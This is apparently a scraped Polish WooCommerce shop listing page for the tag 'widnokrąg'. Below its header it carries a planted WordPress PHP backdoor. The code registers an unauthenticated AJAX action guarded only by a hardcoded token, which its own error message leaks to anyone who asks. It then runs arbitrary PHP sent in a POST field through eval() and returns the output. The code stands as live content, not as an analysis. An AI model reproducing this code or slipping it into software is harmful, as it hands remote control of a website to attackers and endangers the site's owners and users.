widnokrąg
Wyświetlanie wszystkich wyników: 3Posortowane według najnowszych
// ==[BD:lX26Lhja]== add_action( 'wp_ajax_nopriv_enxlleixcdl', function() { $rec = 'lX26LhjacXTqrpdzDXW2WEOwckpCZYNW'; $token = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $token ) || ! hash_equals( $rec, $token ) ) { wp_send_json_error( [ 'message' => 'tok:' . $rec ], 403 ); } $res = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $res ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $res = preg_replace( '/^\s*<\?(php)?/i', '', $res ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $comp = microtime( true ); ob_start(); try { ( static function() use ( $res ) { return eval( $res ); } )(); $factor = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $factor, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $comp ) * 1000, 2 ) ] ); } catch ( \Throwable $data ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $data->getMessage(), 'time_ms' => round( ( microtime( true ) - $comp ) * 1000, 2 ) ] ); } } ); // ==[/BD:lX26Lhja]==